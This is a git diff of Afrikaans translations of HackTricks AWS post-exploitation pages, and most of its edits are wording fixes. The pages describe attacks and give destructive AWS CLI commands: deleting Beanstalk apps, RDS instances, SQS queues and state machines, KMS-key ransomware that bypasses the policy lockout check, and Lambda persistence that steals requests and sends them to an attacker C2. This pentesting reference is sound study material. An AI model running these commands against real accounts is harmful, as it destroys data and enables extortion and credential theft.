verwyder** en **die AWS gebruiker/rol wat die** Kluster geskep het, verwyder, ~~kan die aanvaller die **kluster ge**~~**ransom**. > [!TIP] > Let daarop dat as die kluster **EC2 VMs** gebruik, dit moontlik kan wees om Admin regte van die **Node** te verkry en die kluster te herstel. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 4c7810928..5c1a4120b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -13,13 +13,13 @@ Vir meer inligting: ### `elasticbeanstalk:DeleteApplicationVersion` > [!NOTE] -> TODO: Toets of meer toestemmings benodig word hiervoor +> TODO: Toets of meer toestemmings benodig word vir hierdie 'n Aanvaller met die toestemming `elasticbeanstalk:DeleteApplicationVersion` kan **'n bestaande toepassingsweergawe verwyder**. Hierdie aksie kan toepassingsontplooiing pyplyne ontwrig of die verlies van spesifieke toepassingsweergawes veroorsaak as dit nie geback-up is nie. ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` -**Potensiële Impak**: Ontwrichting van toepassingsontplooiing en potensiële verlies van toepassingsweergawe. +**Potensiële Impak**: Ontwrichting van toepassingsontplooiing en potensiële verlies van toepassingsweergawes. ### `elasticbeanstalk:TerminateEnvironment` @@ -35,9 +35,9 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env ### `elasticbeanstalk:DeleteApplication` > [!NOTE] -> TODO: Toets of meer toestemmings benodig word hiervoor +> TODO: Toets of meer toestemmings benodig word vir dit -'n Aanvaller met die toestemming `elasticbeanstalk:DeleteApplication` kan **'n hele Elastic Beanstalk-toepassing verwyder**, insluitend al sy weergawes en omgewings. Hierdie aksie kan 'n beduidende verlies aan toepassingshulpbronne en konfigurasies veroorsaak as dit nie geback-up is nie. +'n Aanvaller met die toestemming `elasticbeanstalk:DeleteApplication` kan **'n hele Elastic Beanstalk-toepassing verwyder**, insluitend al sy weergawes en omgewings. Hierdie aksie kan 'n beduidende verlies van toepassingshulpbronne en konfigurasies veroorsaak as dit nie geback-up is nie. ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` @@ -48,11 +48,11 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en > [!NOTE] > TODO: Toets of meer toestemmings benodig word vir dit -'n Aanvaller met die `elasticbeanstalk:SwapEnvironmentCNAMEs` toestemming kan **die CNAME-rekords van twee Elastic Beanstalk omgewings omruil**, wat mag veroorsaak dat die verkeerde weergawe van die toepassing aan gebruikers bedien word of lei tot onbedoelde gedrag. +'n Aanvaller met die `elasticbeanstalk:SwapEnvironmentCNAMEs` toestemming kan **die CNAME-rekords van twee Elastic Beanstalk omgewings verwissel**, wat mag veroorsaak dat die verkeerde weergawe van die toepassing aan gebruikers bedien word of lei tot onbedoelde gedrag. ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` -**Potensiële Impak**: Om die verkeerde weergawe van die toepassing aan gebruikers te dien of om onbedoelde gedrag in die toepassing te veroorsaak as gevolg van gewisselde omgewings. +**Potensiële Impak**: Om die verkeerde weergawe van die toepassing aan gebruikers te dien of om onbedoelde gedrag in die toepassing te veroorsaak as gevolg van verwisselde omgewings. ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index 9f08ea283..2669fc477 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -4,7 +4,7 @@ ## IAM -Vir meer inligting oor IAM-toegang: +Vir meer inligting oor IAM toegang: {{#ref}} ../aws-services/aws-iam-enum.md @@ -14,7 +14,7 @@ Vir meer inligting oor IAM-toegang: As jy **'n eksterne rekening (A)** toelaat om toegang te verkry tot 'n **rol** in jou rekening, sal jy waarskynlik **0 sigbaarheid** hê oor **wie presies toegang tot daardie eksterne rekening kan verkry**. Dit is 'n probleem, want as 'n ander eksterne rekening (B) toegang kan verkry tot die eksterne rekening (A), is dit moontlik dat **B ook toegang tot jou rekening sal hê**. -Daarom, wanneer jy 'n eksterne rekening toelaat om toegang te verkry tot 'n rol in jou rekening, is dit moontlik om 'n `ExternalId` te spesifiseer. Dit is 'n "geheime" string wat die eksterne rekening (A) **moet spesifiseer** om **die rol in jou organisasie aan te neem**. Aangesien die **eksterne rekening B nie van hierdie string weet nie**, selfs al het hy toegang tot A, sal hy **nie in staat wees om jou rol te benader nie**. +Daarom, wanneer jy 'n eksterne rekening toelaat om toegang te verkry tot 'n rol in jou rekening, is dit moontlik om 'n `ExternalId` te spesifiseer. Dit is 'n "geheime" string wat die eksterne rekening (A) **moet spesifiseer** om **die rol in jou organisasie aan te neem**. Aangesien die **eksterne rekening B nie van hierdie string weet nie**, selfs al het hy toegang oor A, sal hy **nie in staat wees om jou rol te benader nie**.
@@ -62,7 +62,7 @@ Hierdie beleid **laat alle AWS** toe om die rol aan te neem. "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -Hierdie beleid **toelaat enige rekening** om hul apigateway te konfigureer om hierdie Lambda aan te roep. +Hierdie beleid **staak enige rekening** toe om hul apigateway te konfigureer om hierdie Lambda aan te roep. #### S3 as hoofpersoon ```json @@ -73,7 +73,7 @@ Hierdie beleid **toelaat enige rekening** om hul apigateway te konfigureer om hi } } ``` -As 'n S3-emmer as 'n hoofpersoon gegee word, omdat S3-emmers nie 'n rekening-ID het nie, as jy **jou emmer verwyder het en die aanvaller dit in hul eie rekening geskep het**, kan hulle dit misbruik. +As 'n S3-bucket as 'n hoofpersoon gegee word, omdat S3-buckets nie 'n rekening-ID het nie, as jy **jou bucket verwyder het en die aanvaller dit in hul eie rekening geskep het**, kan hulle dit misbruik. #### Nie ondersteun nie ```json @@ -86,7 +86,7 @@ As 'n S3-emmer as 'n hoofpersoon gegee word, omdat S3-emmers nie 'n rekening-ID ``` 'n Algemene manier om Confused Deputy probleme te vermy, is die gebruik van 'n voorwaarde met `AWS:SourceArn` om die oorsprong ARN te kontroleer. egter, **sommige dienste mag dit nie ondersteun nie** (soos CloudTrail volgens sommige bronne). -## References +## Verwysings - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 45718b74f..f77412a40 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -12,13 +12,13 @@ Vir meer inligting, kyk: ### Enkripteer/Deenkripteer inligting -`fileb://` en `file://` is URI skemas wat in AWS CLI opdragte gebruik word om die pad na plaaslike lêers te spesifiseer: +`fileb://` en `file://` is URI skemas wat in AWS CLI opdragte gebruik word om die pad na plaaslike lêers aan te dui: - `fileb://:` Lees die lêer in binêre modus, algemeen gebruik vir nie-teks lêers. - `file://:` Lees die lêer in teksmodus, tipies gebruik vir gewone teks lêers, skripte, of JSON wat nie spesiale kodering vereistes het nie. > [!TIP] -> Let daarop dat as jy sekere data binne 'n lêer wil deenkripteer, die lêer die binêre data moet bevat, nie base64 gekodeerde data nie. (fileb://) +> Let daarop dat as jy sekere data binne 'n lêer wil deenkripteer, die lêer die binêre data moet bevat, nie base64 geënkodeerde data nie. (fileb://) - Gebruik 'n **simmetriese** sleutel ```bash @@ -38,7 +38,7 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -- Gebruik van 'n **asimetiese** sleutel: +- Gebruik 'n **asymmetriese** sleutel: ```bash # Encrypt data aws kms encrypt \ @@ -60,12 +60,12 @@ aws kms decrypt \ ``` ### KMS Ransomware -'n Aanvaller met bevoorregte toegang oor KMS kan die KMS-beleid van sleutels wysig en **sy rekening toegang oor hulle verleen**, terwyl die toegang wat aan die regte rekening gegee is, verwyder word. +'n Aanvaller met bevoorregte toegang oor KMS kan die KMS-beleid van sleutels wysig en **sy rekening toegang oor hulle verleen**, terwyl die toegang wat aan die wettige rekening gegee is, verwyder word. -Dan sal die regte rekeninggebruikers nie in staat wees om enige inligting van enige diens wat met daardie sleutels versleuteld is, te bekom nie, wat 'n maklike maar effektiewe ransomware oor die rekening skep. +Dan sal die wettige rekeninggebruikers nie in staat wees om enige inligting van enige diens wat met daardie sleutels versleuteld is, te bekom nie, wat 'n maklike maar effektiewe ransomware oor die rekening skep. > [!WARNING] -> Let daarop dat **AWS bestuurde sleutels nie deur hierdie aanval geraak word** nie, slegs **Kliënt bestuurde sleutels**. +> Let daarop dat **AWS bestuurde sleutels nie deur hierdie aanval geraak word nie**, slegs **Kliënt bestuurde sleutels**. > Let ook op die behoefte om die parameter **`--bypass-policy-lockout-safety-check`** te gebruik (die gebrek aan hierdie opsie in die webkonsol maak hierdie aanval slegs moontlik vanaf die CLI). ```bash @@ -118,7 +118,7 @@ aws kms schedule-key-deletion \ --pending-window-in-days 7 ``` > [!CAUTION] -> Let daarop dat AWS nou **voorkom dat die vorige aksies vanaf 'n kruisrekening uitgevoer kan word:** +> Let daarop dat AWS nou **voorkom dat die vorige aksies vanaf 'n kruisrekening uitgevoer word:**
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 6c37f1c7e..ac3407362 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -1,4 +1,4 @@ -# AWS - Lambda Post Exploitation +# AWS - Lambda Post Exploitatie {{#include ../../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ Vir meer inligting, kyk: ### Steel Ander se Lambda URL Versoeke -As 'n aanvaller op een of ander manier daarin slaag om RCE binne 'n Lambda te kry, sal hy in staat wees om ander gebruikers se HTTP versoeke na die lambda te steel. As die versoeke sensitiewe inligting bevat (koekies, geloofsbriewe...) sal hy in staat wees om dit te steel. +As 'n aanvaller op een of ander manier daarin slaag om RCE binne 'n Lambda te kry, sal hy in staat wees om ander gebruikers se HTTP versoeke na die lambda te steel. As die versoeke sensitiewe inligting bevat (koekies, geloofsbriewe...), sal hy in staat wees om dit te steel. {{#ref}} aws-warm-lambda-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index 71eb056d5..3b44be1c8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -20,14 +20,14 @@ Let daarop dat bootstrap die gebruikerskode as 'n module laai, so enige kode-uit Die doel van hierdie aanval is om die gebruikerskode 'n kwaadwillige **`bootstrap.py`** proses binne die **`bootstrap.py`** proses te laat uitvoer wat die kwesbare versoek hanteer. Op hierdie manier sal die **kwaadwillige bootstrap** proses begin **praat met die init proses** om die versoeke te hanteer terwyl die **legitieme** bootstrap **gevang** is wat die kwaadwillige een uitvoer, sodat dit nie versoeke aan die init proses sal vra nie. -Dit is 'n eenvoudige taak om te bereik aangesien die kode van die gebruiker deur die legitieme **`bootstrap.py`** proses uitgevoer word. So kan die aanvaller: +Dit is 'n eenvoudige taak om te bereik aangesien die kode van die gebruiker deur die legitieme **`bootstrap.py`** proses uitgevoer word. So die aanvaller kan: - **Stuur 'n vals resultaat van die huidige aanroep na die init proses**, sodat init dink die bootstrap proses wag vir meer aanroepings. - 'n Versoek moet gestuur word na **`/${invoke-id}/response`** -- Die invoke-id kan verkry word uit die stapel van die legitieme **`bootstrap.py`** proses deur die [**inspect**](https://docs.python.org/3/library/inspect.html) python module (soos [hier voorgestel](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) of net weer te vra na **`/2018-06-01/runtime/invocation/next`** (soos [hier voorgestel](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). +- Die invoke-id kan verkry word uit die stapel van die legitieme **`bootstrap.py`** proses deur die [**inspect**](https://docs.python.org/3/library/inspect.html) python module (soos [hier voorgestel](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) of net weer aan te vra by **`/2018-06-01/runtime/invocation/next`** (soos [hier voorgestel](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). - Voer 'n kwaadwillige **`boostrap.py`** uit wat die volgende aanroepings sal hanteer - Vir stealthiness doeleindes is dit moontlik om die lambda aanroepingsparameters na 'n aanvaller beheerde C2 te stuur en dan die versoeke soos gewoonlik te hanteer. -- Vir hierdie aanval is dit genoeg om die oorspronklike kode van **`bootstrap.py`** van die stelsel of [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) te kry, die kwaadwillige kode by te voeg en dit van die huidige lambda aanroep uit te voer. +- Vir hierdie aanval is dit genoeg om die oorspronklike kode van **`bootstrap.py`** van die stelsel of [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) te kry, die kwaadwillige kode by te voeg en dit van die huidige lambda aanroep af uit te voer. ### Aanval Stappe diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index bc79412de..c7630ab35 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -61,7 +61,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance -- ### `rds:DeleteDBInstance` -'n Aanvaller met hierdie toestemmings kan **DoS bestaande RDS-instanties**. +'n Aanvaller met hierdie toestemmings kan **DoS bestaande RDS instansies**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index f48b618e3..4a6f0cac5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -12,12 +12,12 @@ Vir meer inligting, kyk: ### Sensitiewe Inligting -Soms sal jy sensitiewe inligting in leesbare formaat in die emmers kan vind. Byvoorbeeld, terraform staat geheime. +Soms sal jy in staat wees om sensitiewe inligting in leesbare vorm in die emmers te vind. Byvoorbeeld, terraform staat geheime. ### Pivoting Verskillende platforms kan S3 gebruik om sensitiewe bates te stoor.\ -Byvoorbeeld, **airflow** kan **DAGs** **kode** daarin stoor, of **webblaaie** kan direk vanaf S3 bedien word. 'n Aanvaller met skryfrechten kan die **kode** van die emmer **wysig** om na ander platforms te **pivot** of **rekeningneem** deur JS-lêers te wysig. +Byvoorbeeld, **airflow** kan **DAGs** **kode** daarin stoor, of **webbladsye** kan direk van S3 bedien word. 'n Aanvaller met skryfrechten kan die **kode** van die emmer **wysig** om na ander platforms te **pivot** of **rekening oor te neem** deur JS-lêers te wysig. ### S3 Ransomware @@ -33,6 +33,6 @@ Om verdere druk te plaas, skeduleer die aanvaller die verwydering van die KMS-sl Laastens, die aanvaller kan 'n finale lêer oplaai, gewoonlik genaamd "ransom-note.txt," wat instruksies vir die teiken bevat oor hoe om hul lêers te herwin. Hierdie lêer word sonder enkripsie opgelaai, waarskynlik om die teiken se aandag te trek en hulle bewus te maak van die ransomware-aanval. -**Vir meer inligting** [**kyk die oorspronklike navorsing**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +**Vir meer inligting** [**kyk na die oorspronklike navorsing**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index 191b7c5ea..ebd1237d8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -10,13 +10,13 @@ Vir meer inligting, kyk: ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Lees Geheimen +### Lees Secrets -Die **geheimen self is sensitiewe inligting**, [kyk die privesc-bladsy](../aws-privilege-escalation/aws-secrets-manager-privesc.md) om te leer hoe om dit te lees. +Die **secrets self is sensitiewe inligting**, [kyk die privesc bladsy](../aws-privilege-escalation/aws-secrets-manager-privesc.md) om te leer hoe om hulle te lees. -### DoS Verander Geheim Waarde +### DoS Verander Secret Waarde -Deur die waarde van die geheim te verander, kan jy **DoS al die stelsels wat op daardie waarde afhanklik is.** +Deur die waarde van die secret te verander, kan jy **DoS al die stelsels wat op daardie waarde afhanklik is.** > [!WARNING] > Let daarop dat vorige waardes ook gestoor word, so dit is maklik om net terug te gaan na die vorige waarde. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index 87eaf5dbe..896f973e5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - SES Post Exploitation +# AWS - SES Post Exploitatie {{#include ../../../banners/hacktricks-training.md}} @@ -17,7 +17,7 @@ Stuur 'n e-pos. aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` -Still to test. +Nog om te toets. ### `ses:SendRawEmail` @@ -37,6 +37,8 @@ Stuur 'n e-pos na verskeie bestemmings ```bash aws ses send-bulk-templated-email --source --template ``` +Nog om te toets. + ### `ses:SendBulkEmail` Stuur 'n e-pos na verskeie bestemmings. @@ -56,6 +58,6 @@ Dit sal 'n aangepaste verifikasie-e-pos stuur. Jy mag dalk ook toestemmings nodi aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` -Nog om te toets. +Nog om te toets. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index 866c5f7e5..ceeafa266 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -12,11 +12,11 @@ Vir meer inligting: ### Ontwrigt Berigte -In verskeie gevalle word SNS-onderwerpe gebruik om boodskappe na platforms te stuur wat gemonitor word (e-pos, slack boodskappe...). As 'n aanvaller die sending van die boodskappe wat oor sy teenwoordigheid in die wolk waarsku, voorkom, kan hy onopgemerk bly. +In verskeie gevalle word SNS onderwerpe gebruik om boodskappe na platforms te stuur wat gemonitor word (e-pos, slack boodskappe...). As 'n aanvaller die sending van die boodskappe wat oor sy teenwoordigheid in die wolk waarsku, kan voorkom, kan hy onopgemerk bly. ### `sns:DeleteTopic` -'n Aanvaller kan 'n hele SNS-onderwerp verwyder, wat boodskapverlies veroorsaak en toepassings wat op die onderwerp staatmaak, beïnvloed. +'n Aanvaller kan 'n hele SNS onderwerp verwyder, wat boodskapverlies veroorsaak en toepassings wat op die onderwerp staatmaak, beïnvloed. ```bash aws sns delete-topic --topic-arn ``` @@ -24,7 +24,7 @@ aws sns delete-topic --topic-arn ### `sns:Publish` -'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SNS-onderwerp stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan ontketen, of hulpbronne kan uitput. +'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SNS onderwerp stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan ontketen, of hulpbronne kan uitput. ```bash aws sns publish --topic-arn --message ``` @@ -32,7 +32,7 @@ aws sns publish --topic-arn --message ### `sns:SetTopicAttributes` -'n Aanvaller kan die eienskappe van 'n SNS-tema wysig, wat moontlik sy prestasie, sekuriteit of beskikbaarheid kan beïnvloed. +'n Aanvaller kan die eienskappe van 'n SNS-tema verander, wat moontlik die prestasie, sekuriteit of beskikbaarheid daarvan kan beïnvloed. ```bash aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value ``` @@ -40,7 +40,7 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr ### `sns:Subscribe` , `sns:Unsubscribe` -'n Aanvaller kan op 'n SNS onderwerp inteken of uitskakel, wat moontlik ongeoorloofde toegang tot boodskappe kan verkry of die normale funksionering van toepassings wat op die onderwerp staatmaak, kan ontwrig. +'n Aanvaller kan op 'n SNS-tema inteken of uitskakel, wat moontlik ongeoorloofde toegang tot boodskappe kan verkry of die normale funksionering van toepassings wat op die tema staatmaak, kan ontwrig. ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn @@ -54,11 +54,11 @@ aws sns unsubscribe --subscription-arn aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` -**Potensiële Impak**: Onbevoegde toegang tot die onderwerp, boodskapblootstelling, of onderwerpmanipulasie deur onbevoegde gebruikers of dienste, onderbreking van normale funksionering vir toepassings wat op die onderwerp staatmaak. +**Potensiële Impak**: Onbevoegde toegang tot die onderwerp, boodskapblootstelling, of onderwerp manipulasie deur onbevoegde gebruikers of dienste, ontwrigting van normale funksionering vir toepassings wat op die onderwerp staatmaak. ### `sns:TagResource` , `sns:UntagResource` -'n Aanvaller kan etikette byvoeg, wysig of verwyder van SNS-hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing, en toegangbeheerbeleide gebaseer op etikette ontwrig. +'n Aanvaller kan etikette byvoeg, wysig of verwyder van SNS hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing, en toegangbeheerbeleide gebaseer op etikette ontwrig. ```bash aws sns tag-resource --resource-arn --tags Key=,Value= aws sns untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index ea773c009..c4669d533 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -12,22 +12,22 @@ Vir meer inligting, kyk: ### `sqs:SendMessage` , `sqs:SendMessageBatch` -'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SQS-ry stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan ontketen, of hulpbronne kan uitput. +'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SQS-ry stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan aktiveer, of hulpbronne kan uitput. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**Potensiële Impak**: Kwetsbaarheid benutting, Gegevensbesoedeling, onbedoelde aksies, of hulpbronuitputting. +**Potensiële Impak**: Kwetsbaarheid eksplorasie, Data korrupsie, onbedoelde aksies, of hulpbron uitputting. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -'n Aanvaller kan boodskappe in 'n SQS-ry ontvang, verwyder of die sigbaarheid van boodskappe verander, wat kan lei tot boodskapverlies, gegevensbesoedeling, of diensonderbreking vir toepassings wat op daardie boodskappe staatmaak. +'n Aanvaller kan boodskappe in 'n SQS-ry ontvang, verwyder of die sigbaarheid daarvan verander, wat kan lei tot boodskapverlies, datakorrupsie, of diensonderbreking vir toepassings wat op daardie boodskappe staatmaak. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` -**Potensiële Impak**: Steal sensitiewe inligting, boodskapverlies, datakorruptie, en diensonderbreking vir toepassings wat op die aangetaste boodskappe staatmaak. +**Potensiële Impak**: Steal sensitiewe inligting, boodskapverlies, datakorruptie, en diensonderbreking vir toepassings wat op die geraakte boodskappe staatmaak. ### `sqs:DeleteQueue` @@ -35,11 +35,11 @@ aws sqs change-message-visibility --queue-url --receipt-handle - ```arduino Copy codeaws sqs delete-queue --queue-url ``` -**Potensiële Impak**: Boodskapverlies en diensonderbreking vir toepassings wat die verwyderde wagte gebruik. +**Potensiële Impak**: Boodskapverlies en diensonderbreking vir toepassings wat die verwyderde wachtrij gebruik. ### `sqs:PurgeQueue` -'n Aanvaller kan alle boodskappe uit 'n SQS-wagte verwyder, wat lei tot boodskapverlies en potensiële onderbreking van toepassings wat op daardie boodskappe staatmaak. +'n Aanvaller kan alle boodskappe uit 'n SQS-wachtrij verwyder, wat lei tot boodskapverlies en potensiële onderbreking van toepassings wat op daardie boodskappe staatmaak. ```arduino Copy codeaws sqs purge-queue --queue-url ``` @@ -47,7 +47,7 @@ Copy codeaws sqs purge-queue --queue-url ### `sqs:SetQueueAttributes` -'n Aanvaller kan die eienskappe van 'n SQS-ry kan verander, wat moontlik die prestasie, sekuriteit of beskikbaarheid daarvan beïnvloed. +'n Aanvaller kan die eienskappe van 'n SQS-ry verander, wat moontlik die prestasie, sekuriteit of beskikbaarheid daarvan beïnvloed. ```arduino aws sqs set-queue-attributes --queue-url --attributes ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 690d9e480..13662e57a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -4,7 +4,7 @@ ## Stap Funksies -Vir meer inligting oor hierdie AWS-diens, kyk: +Vir meer inligting oor hierdie AWS diens, kyk: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -18,13 +18,13 @@ Hierdie toestemming laat toe om **geheime data binne 'n uitvoering te onthul**. ### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -'n Aanvaller met hierdie toestemmings sal in staat wees om staatmasjiene, hul weergawes en aliase permanent te verwyder. Dit kan kritieke werksvloei ontwrig, lei tot dataverlies, en 'n beduidende hoeveelheid tyd vereis om die geraakte staatmasjiene te herstel en te herstel. Boonop sal dit 'n aanvaller in staat stel om die spore wat gebruik is, te verberg, forensiese ondersoeke te ontwrig, en moontlik bedrywighede te verlam deur noodsaaklike outomatiseringsprosesse en staatkonfigurasies te verwyder. +'n Aanvaller met hierdie toestemmings sal in staat wees om staatmasjiene, hul weergawes en aliase permanent te verwyder. Dit kan kritieke werksvloei ontwrig, lei tot dataverlies, en 'n beduidende hoeveelheid tyd vereis om die geraakte staatmasjiene te herstel en te herstel. Daarbenewens sal dit 'n aanvaller in staat stel om die spore wat gebruik is, te verberg, forensiese ondersoeke te ontwrig, en moontlik operasies te verlam deur noodsaaklike outomatiseringsprosesse en staatkonfigurasies te verwyder. > [!NOTE] > > - Deur 'n staatmasjien te verwyder, verwyder jy ook al sy geassosieerde weergawes en aliase. -> - Deur 'n staatmasjienalias te verwyder, verwyder jy nie die staatmasjienweergawes wat na hierdie alias verwys nie. -> - Dit is nie moontlik om 'n staatmasjienweergawes te verwyder wat tans deur een of meer aliase verwys word nie. +> - Deur 'n staatmasjien alias te verwyder, verwyder jy nie die staatmasjien weergawes wat na hierdie alias verwys nie. +> - Dit is nie moontlik om 'n staatmasjien weergawe te verwyder wat tans deur een of meer aliase verwys word nie. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -33,19 +33,19 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` -- **Potensiële Impak**: Ontwrichting van kritieke werksvloeie, dataverlies, en operasionele stilstand. +- **Potensiële Impak**: Ontwrichting van kritieke werksvloei, dataverlies, en operasionele stilstand. ### `states:UpdateMapRun` -'n Aanvaller met hierdie toestemming sou in staat wees om die Map Run mislukking konfigurasie en parallel instelling te manipuleer, en sou in staat wees om die maksimum aantal kind werksvloei uitvoerings toegelaat te verhoog of te verlaag, wat direk die diens se prestasie beïnvloed. Daarbenewens kan 'n aanvaller die toegelate mislukking persentasie en telling manipuleer, en sou in staat wees om hierdie waarde tot 0 te verlaag sodat elke keer as 'n item misluk, die hele kaart loop sou misluk, wat direk die staat masjien uitvoering beïnvloed en potensieel kritieke 